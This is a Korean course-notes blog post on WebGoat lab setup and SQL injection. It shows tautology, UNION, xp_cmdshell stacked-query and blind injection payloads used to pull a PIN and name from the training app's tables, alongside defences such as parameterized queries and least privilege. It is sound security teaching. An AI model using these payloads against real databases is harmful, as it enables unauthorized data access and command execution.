[SK shieldus Rookies 19기] 애플리케이션 보안 2일차

기록하는짱구·2024년 3월 13일
0

SK Shieldus Rookies 19기

목록 보기
10/43
post-thumbnail

📌 애플리케이션 보안

https://myanjini.tistory.com/manage/posts?searchKeyword=bwapp&searchType=title
https://myanjini.tistory.com/manage/posts?searchKeyword=kali&searchType=title

📝 가상화
: 하드웨어를 소프트웨어로 표현
: 파일로 관리

📖 Webgoat 실행

💻 작업관리자(Ctrl+Alt+Del 또는 상태바에서 마우스 오른쪽 클릭 후 선택)를 실행해서 MySQL이 있는 경우 작업 끝내기

💻 C:\FullstackLAB\run.bat 실행

💻 이클립스에서 Tomcat 서버 실행

  1. JavaEE 퍼스펙티브로 전환 (옵션)
  2. 퍼스펙티브를 초기화 (옵션)
  3. Servers 탭을 클릭 ⇒ 등록된 서버를 확인
  4. Tomcat를 선택 ⇒ 실행할 서버를 선택
  5. 디버거 모드 또는 실행 모드로 서버를 실행

🔎 서버 실행 확인

🔎 오류가 발생하는 경우
→ 프로젝트 재빌드 후 배포

🔎 서비스 포트 확인
→ 서비스 포트가 충돌하는 경우, 아래 정보를 수정 후 저장하고 서버를 재기동

🔎 http://localhost:8080/WebGoat 접속해서 동작 확인
→ 사용자 이름 / 비밀번호 : webgoat / webgoat

💻 http://localhost:8080/WebGoat/attack 주소로 접속

💻 Kali 가상머신에서 WebGoat로 접속
http://host.pc:8080/WebGoat

🔎 로그인 후 404 오류가 나오는 경우
: 이클립스에서 WebGoat > src > main > webapp 에서 마우스 우클릭 후 New > HTML File을 선택해서 index.html 파일 추가

🔎 index.html 파일의 위치 확인

💻 아래 내용 입력 후 저장 (서버 재기동 필요 X)

<!DOCTYPE html>
<html>
<head>
<meta charset="EUC-KR">
<title>Insert title here</title>
<meta http-equiv="refresh" content="0; url=attack"></meta>
</head>
<body>
</body>
</html>

📖 Kali 가상머신에 프록시 설정

💻 Burpsuite 실행

🔎 프록시 설정 확인
: Proxy → Proxy settings → Proxy listener가 체크되어 있는지 확인

💻 BurpSuite에서 Interceptor를 설정한 상태에서 Firefox를 이용해 WebGoat 사이트(http://host.pc:8080/WebGoat)로 요청

💻 요청을 인터셉터해서 어떻게 처리할 건지를 물어봄

💻 Forward 클릭

🔎 HTTP History 탭을 통해 요청/응답 과정 확인
: interceptor 해제한 상태로 진행해야 함
: http//host.pc:8080/WebGoat 로 요청했을 때 리다이렉터 응답(http://host.pc:8080/WebGoat/로 재요청)을 받음

💻 http//host.pc:8080/WebGoat/ 로 요청
👇
디렉터리 리스팅 옵션 확인 후 기본 페이지를 검색
👇
기본 페이지(index.html)를 응답으로 반환
👇
index.html 파일 내용에 attack 페이지로 재요청이 포함되어 있음

💻 http://host.pc:8080/WebGoat/attack 페이지를 요청
→ attack 파일의 내용(또는 실행 결과)을 응답으로 반환

📖 입력값 검증이 필요한 이유

💡 입력 → 처리 → 출력

✍ 입력
: 신뢰할 수 있는 입력
= 믿을 수 있는 곳(안전한 곳)으로부터 전달된 입력
ex. 시스템 내부의 값
: 신뢰할 수 없는 입력
= 믿을 수 없는 곳(안전하지 않은 곳)으로부터 전달된 입력
ex. 사용자가 입력한 값(사용자가 잘못 입력하거나 전달 과정에서 위·변조 될 수 있기 때문)

✍ 처리
: 안전한 처리
= (개발자가) 의도한 대로 동작
: 안전한 처리를 위해
→ 신뢰할 수 있는 입력값을 사용
→ 신뢰할 수 없는 입력값을 사용해야 하는 경우, 입력값을 검증/제한해서 사용

📖 인젝션(Injection, 삽입) 취약점

✍ 어떤 처리가 있을 때, 입력값에 처리를 조작할 수 있는 문자열 포함 여부를 확인하지 않고 처리에 사용하는 경우

💡 처리의 구조와 의미가 변형되어 원래 의도했던 처리와 다르게 처리되는 문제점

✍ 유형
SQL Injection → 입력값이 SQL문을 만들고 실행하는데 사용
XPath Injection → 입력값이 XPath 구문을 만들고 실행하는데 사용
XQuery Injection → 입력값이 XQuery 구문을 만들고 실행하는데 사용
Command Injection → 입력값이 운영체제 명령어 또는 명령어의 일부로 사용

✍ 방어
1. 입력값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용
→ 입력값 검증, 제한
: 입력값에 처리를 조작하는 문자열이 포함되어 있는 경우
ⅰ) 오류 처리
ⅱ) 제거하고 사용
ⅲ) 처리를 조작하는 문자열이 일반 문자열로 해석되도록 변경해서 사용
→ 이스케이프 처리

  1. 각 기능에서 제공하는 안전한 방법 사용
    👇
    구조를 정의하고 정의된 구조에 입력값을 검증된 기능을 통해서 대입하는 방식으로 구현
    👇
    구조화 된 쿼리 실행, 파라미터화 된 쿼리 실행

📖 SQL Injection

✍ 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문(SQL문)을 생성, 실행하는데 사용하는 경우 원래 의도했던 쿼리의 구조와 내용이 변경되어 실행되는 것

🔎 예상되는 문제

1. 권한 밖 DB 데이터에 접근이 가능

2. 쿼리 실행을 통해서 제공되는 기능을 비정상적으로 제공받는 것이 가능
= 해당 기능을 우회해서 이용하는 것이 가능

ex. 로그인 기능

※ 정상적인 입력인 경우 동작

         login.do?id=abc&pw=xyz
ID: abc  ――――――――――――――――――――――――> select * from users
								  where id = 'abc' and pw = 'xzy' 
PW: xyz 
        <―――――――――――――――――――――――― * 일치하는 정보가 있는 경우
         						  → 로그인 성공
                                  → 메인 페이지 반환
                                  
                                  * 일치하는 정보가 없는 경우
                                  → 오류 메시지와 함께 로그인 페이지 반환

※ 비정상적인 입력인 경우 동작

        login.do?id=abc&pw=xyz' or 'a' = 'a
ID: abc ―――――――――――――――――――――――――――――――――――――――> select * from users
	                                           where id = 'abc' and
                                               pw = 'xzy' or 'a' = 'a' 
PW: xyz' or 'a' = 'a 
       <――――――――――――――――――――――――――――――――――――――― * users 테이블에 id, pw 컬럼의
                                                값이 일치하는 것이 있는지
                                                조회하는 쿼리였었음
                                   		      * 조작된 입력값에 의해
                                                항상 참인 쿼리로 변경되어서 실행 
                                                 ~~~~~^~~~~~
                                              * 일치하는 정보가 있는 것으로 판단해
                                                메인 페이지를 반환

3. 데이터베이스가 동작하는 서버의 제어권을 탈취해 원격에서 해당 서버를 제어하는 것이 가능


https://www.hahwul.com/cullinan/history-of-owasp-top-10/

✍ 방어 기법

  1. 입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용
    ⅰ) 오류 처리
    ⅱ) 제거하고 사용
    ⅲ) 안전한 형태로 변경해서 사용

  2. PreparedStatement(Query Parameters)와 같은 구조화된 쿼리 실행(파라미터화 된 쿼리 실행)을 보장하는 것을 사용

  3. 오류 메시지에 상세한 내용(데이터베이스 및 쿼리 구조, 쿼리 실행과 관련한 프로그램 구조 등)이 포함되지 않도록 처리

  4. 어플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼의 최소한으로 부여

📢 3번과 4번은 SQL Injection 공격을 완화시키기 위해서 필요한 방어 기법

🔎 파이썬에서 SQL Injection을 방어하는 방법
https://realpython.com/prevent-python-sql-injection/

✍ 동작 원리 이해

  • Kali 가상머신에서 WebGoat으로 접속(http://host.pc:8080/WebGoat) > Injection Flaws > String SQL Injection > 모든 사용자의 계좌 정보가 출력되도록 해보기
  • 입력한 사용자 이름과 일치하는 계좌 정보를 반환해 주는 웹 페이지

🧐 정상적인 처리 과정 유추

  • 정상적인 입력
Enter your last name: Smith
  • 개발자 도구를 이용해서 서버로 전달되는 내용을 분석
attack?Screen=34&menu=1100&account_name=Smith&SUBMIT=Go!
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                * POST 방식으로 해당 내용은 요청 본문을 통해서 전달되나, 
                  여기에서는 편의를 위해서 GET 방식(주소를 통해서 전달)으로 묘사

  • 요청 파라미터로 전달된 값이 서버에서 어떻게 사용되는지 유추
    👉 아마 특정 테이블에 데이터를 조회하는 쿼리를 만들고 실행하는데 사용
SELECT * FROM user_data WHERE last_name = 'Smith'

💻 만약 입력값이 서버에서 검증 없이 그대로 쿼리를 만드는데 사용된다면, 모든 사용자 데이터를 조회하는 쿼리 형태를 생성

SELECT * FROM user_data
WHERE last_name = 'Smith' or 'a' = 'a'  # 항상 참이 되는 조건을 추가
                  |                  | 
                  +------------------+
                   # last_name 컬럼의 데이터 타입이 문자열인 것을 확인 

💻 사용자 화면에서 쿼리 조작 문자열을 포함해서 요청을 전달

Enter your last name: Smith' or 'a' = 'a

✔ 외부 입력값을 쿼리 조작 문자열(' = or) 포함 여부를 확인하지 않고 그대로 쿼리 생성 및 실행에 사용
✔ 쿼리의 원래 의미(이름이 일치하는 데이터를 조회해서 반환)를 변경(모든 데이터를 조회)해서 실행

📖 Numberic SQL Injection

  • 선택한 지역의 날씨 정보를 제공하는 웹 페이지에서 모든 지역의 날씨 정보가 출력되도록 해보기

✍ 정상적인 동작

  • Select your local weather station: Columbia 를 선택하면 101이 station 파라미터 값으로 전달

  • 개발자 도구를 이용해 소스 코드 분석

  • 서버로 전달되는 값은 아래와 같은 형태로 서버에 전달
attack?Screen=44&amp;menu=1100&station=101&SUBMIT=Go!
  • 서버에서 요청으로 전달된 값을 아래와 같은 쿼리를 생성하고 실행하는데 사용
SELECT * FROM weather_data WHERE station = 101

✍ 모든 데이터를 조회하는 쿼리 작성

  • 항상 참이 되는 조건 추가 (원래 쿼리의 형태를 고려해서 추가해야 함)
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
  • 조작하는 쿼리를 요청 파라미터로 전달
    👉 입력창이 아니므로 값을 직접 입력하는 것이 불가능

방법 ❶ 개발자 도구를 이용해 선택되었을 때 서버로 전달되는 값을 조작

방법 ❷ Proxy를 이용해 서버로 전달되기 전에 값을 변경해서 전달

⑴ 실습 리셋

⑵ 요청 데이터를 잡아 수정하기 위해서 Intercept를 설정

⑶ 요청을 발생
👉 선택된 지역의 지역번호가 요청 파라미터로 전달

⑷ 인터셉터 된 요청의 내용(요청 파라미터의 값)을 변조한 후 인터셉터를 해제
👉 변조 된 요청이 서버로 전달

🔎 모든 지역의 날씨 데이터가 조회되는 것을 확인

✔ 입력값 검증의 중요성

❓ 인젝션을 통해서 조회된 결과의 지역과 지역 선택창에 나오는 지역을 비교

  • 인젝션을 통해서 조회된 결과의 지역
    👉 6개 지역
  • 지역 선택창에 나오는 지역
    👉 4개 지역

🔎 전체 지역은 6개이나, 4개 지역에 대해서 날씨 서비스를 제공

❓ 입력창(text, textarea)과 라디오 버튼, 체크 박스, 셀렉트 박스의 차이

  • 입력창
    👉 사용자가 자유롭게 입력
  • 라디오 버튼, 체크 박스, 셀렉트 박스
    👉 시스템에서 제공하는 범위 내에서 선택하도록 제한

🔎 서비스로 제공하는 4개 지역에서만 선택하도록 제한하기 위해서 셀렉트 박스 사용

❓ 클라이언트 사이드(화면)에서 사용자가 101, 102, 103, 104 중 하나만 선택하도록 UI 컴포넌트를 이용해서 입력을 제한

  • 서버에서는 해당 범위의 값이 전달되었는지 확인해야 하나 하지 않았기 때문에 문제가 발생

🔎 서버 사이드에서 입력값을 검증, 제한하지 않고 있음

💡 클라이언트 사이드에 적용된 보안 기능은 서버 사이드에도 동일하게 또는 그 이상 적용해야 함
💡 관련 보안약점 👉 보안기능 결정에 사용되는 부적절한 입력값 (가이드. 200페이지)

📖 SQL 인젝션 유형

💻 사용자가 입력한 ID와 일치하는 회원 정보를 조회해서 제공

select * from members where id = ___________

❶ 에러를 유발하는 입력

Error Based SQL Injection

  • 입력값으로 에러를 유발하는 값을 전달
  • 생성된 에러 메시지를 통해 정보를 수집하고 수집한 정보를 이용해서 추가 공격을 계획

ex. ' (홑따움표)

select * from members where id = 123'

🔎 ID 컬럼은 숫자형으로 문자열 데이터를 받을 수 없고, 홑따움표의 개수가 일치하지 않아서 오류 발생

❷ 항상 참이 되는 입력

  • 쿼리문의 조건식의 결과가 항상 참이 되게 만드는 입력
  • 권한 밖의 데이터에 접근, 조회하는 것이 가능 👉 모든 데이터 조회 가능

ex. ____ or 항상 참이 되는 조건
👉 인젝션이 걸리는 컬럼의 데이터 타입에 맞춰 홑따움표를 추가해야 함

select * from members where id = 123 or 1 = 1

🔎 1 = 1은 무조건 참이기 때문에 members 테이블의 모든 데이터 조회 가능

❸ UNION 구문 이용
Union Based SQL Injection

  • 원래 서비스를 통해서 실행되는 쿼리에 공격자가 알고자 하는 정보를 조회하는 쿼리를 UNION 구문을 이용해서 결합하여 실행
  • 원래 서비스를 통해서 제공되는 정보와 공격자가 알고자 하는 정보가 함께 출력(노출)

💡 UNION?
👉 두 쿼리의 실행 결과를 하나로 결합

ex.

# 정상 입력 → 123 회원의 이름, 나이, 성별, 연락처가 조회되어 출력
select * from members id = 123 	 

select * from members id = 123
and 1 = 2 UNION select 1, 2, 3, 4 from 어떤테이블	# 1, 2, 3, 4가 출력
~~~~~~~~~       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    |                |   
    |                +-- 공격자가 알고자 하는 정보를 조회하는 쿼리
    |                    → 일반적으로 시스템 테이블을 우선적으로 활용   
    +-- 정상 쿼리의 실행 결과가 없도록 만드는 구문  
                                    

❹ Stored Procedure를 호출하는 입력

  • 데이터베이스에서 제공하는 Stored Procdure를 실행하는 구문을 입력값으로 전달해서 실행
  • 데이터베이스의 제어권을 탈취하는 것이 가능

ex.

select * from members id = 123
; exec xp_cmdshell 'cmd.exe /c dir'
~ ~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~
|  |    |           |
|  |    |           +-- DBMS의 쉘에서 실행할 명령어
|  |	|				→ 현재 디렉터리의 내용을 반환    
|  |    +-- MS-SQL에서 제공하는 시스템 Stored Procedure로, 
|  |        매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환 
|  +--  Stored Procedure를 실행  
|       → 일반적으로 시스템 Stored Procedure를 우선적으로 활용   
+-- 쿼리문의 종결을 의미  

Blind SQL Injection

  • 쿼리 실행 결과에 따라서 서버의 반응이 달라지는 경우
  • 공격자가 원하는 내용을 조회하는 쿼리를 작성해서 전달하고 실행 결과를 보면서 정보를 수집

ex.

✔ 정상적인 실행

# 존재하는 ID인 경우 → ID가 123인 사용자의 정보를 제공 
select * from members where id = 123

# 존재하지 않는 ID인 경우 → 존재하지 않습니다. 메시지를 제공
select * from members where id = 999 

✔ 공격 가능 여부 확인

# ID가 123인 사용자의 정보를 제공 
select * from members where id = 123 and 1 = 1 

# 존재하지 않습니다. 메시지를 제공 
select * from members where id = 123 and 1 = 2
                                         ~~^~~
                                         # 조건에 따라 결과 화면이 달라짐

✔ 공격자가 알고자 하는 정보를 조회하는 쿼리를 전달

select * from members where id = 123 and 공격자가 알고자 하는 정보를 조회하는 쿼리 
# 사용자 정보가 출력되면 해당 쿼리가 참, 
  오류 메시지가 출력되면 해당 쿼리가 거짓인 것을 알 수 있음

📖 Blind Numeric SQL Injection

  • 사용자가 입력한 계좌 번호(Account Number)의 유효성(있다, 없다)를 확인해 주는 웹 페이지
    👉 해당 계좌가 존재하는 경우, Account number is valid.를 출력하고,
    👉 해당 계좌가 존재하지 않는 경우, Invalid account number.를 출력

  • 문제는 pins 테이블에서 cc_number 컬럼의 값이 1111222233334444와 일치하는 pin 컬럼의 값을 찾으시오.

  • The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.

💻 동작 분석

  • 사용자가 입력한 값은 아래와 같은 형식으로 서버로 전달

  • 서버에서는 요청 파라미터로 전달된 값을 아래와 같은 쿼리를 만들고 실행하는데 사용(추측)
    ✔ 일치하는 결과가 있는 경우 👉 Account number is valid.
    ✔ 일치하는 결과가 없는 경우 👉 Invalid account number.
select * from accounts where account_number = 999
  • 공격자가 알고자 하는 정보를 조회하는 쿼리 생성
    👉 문제의 힌트를 이용(테이블 이름, 컬럼 이름, 조건)
select pin from pins where cc_number = '1111222233334444'
  • 공격자가 알고자 하는 정보를 조회하는 쿼리를 원래 서비스 쿼리에 추가
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > ???
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 													 | 
| 													 | 
일치하는 정보가 존재                                   해당 쿼리의 실행 결과가 참
												     → Account number is valid
                                                    거짓
                                                     → Invalid account number 

select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 100
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 1000
→ 조건을 만족하는 pin 값은 1000 보다 큼

select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 5000
→ 조건을 만족하는 pin 값은 1000 보다 크고 5000 보다 작음

# 범위를 점점 줄여 최종적으로 아래 쿼리를 만족하는 숫자를 찾음
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') = ????  



select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') = 2364
→ Account number is valid가 출력 
→ 공격자가 찾고자 하는 pin 값인 2364가 나옴

📖 Blind String SQL Injection

  • pins 테이블에서 cc_number 컬럼의 값이 4321432143214321와 일치하는 name 컬럼의 값을 찾으시오.(여기서 name은 문자열 타입의 데이터를 저장하는 컬럼)

select * from accounts where account_number = 102
and (select name from pins where cc_number = '4321432143214321') = '?????'
  • 한 글자씩 추출해서 찾기
select * from accounts where account_number = 102 and
(select substr(name, 1, 1)
from pins where cc_number = '4321432143214321') = '?'


select * from accounts where account_number = 102 and
(select substr(name, 2, 1)
from pins where cc_number = '4321432143214321') = '?'
  • 효율성을 위해서 이름 데이터의 각 자리를 아스키 코드로 만들어서 범위 연산을 수행
select * from accounts where account_number = 102 and
(select ascii(substr(name, 1, 1))
from pins where cc_number = '4321432143214321') < 46
  • 최종적으로 찾고자 하는 값
select * from accounts where account_number = 102 and
(select name from pins where cc_number = '4321432143214321') = 'Jill'

  • 취약한 소스코드 확인
    👉 Ctrl + Shift + R (Open Resource, 열려 있는 프로젝트에서 특정 패턴의 파일을 검색해서 열어주는 도구)
    👉 Eclipse에서 실행

📖 Java의 Statement 객체

✔ Statement

  • 만들어진 문자열 형태의 쿼리그대로 전달해서 실행
  • 쿼리 생성 책임이 개발자에게 있음

✔ PreparedStatement

  • 미리 정의한 쿼리 구조에 맞춰서 쿼리를 생성해서 DB로 전달해서 실행
  • 쿼리 구조 정의는 개발자가 하고, 쿼리 생성은 해당 객체가 책임지고 수행

✔ CallableStatement

  • DB에 정의되어 있는 Stored Procedure를 호출할 때 사용

0개의 댓글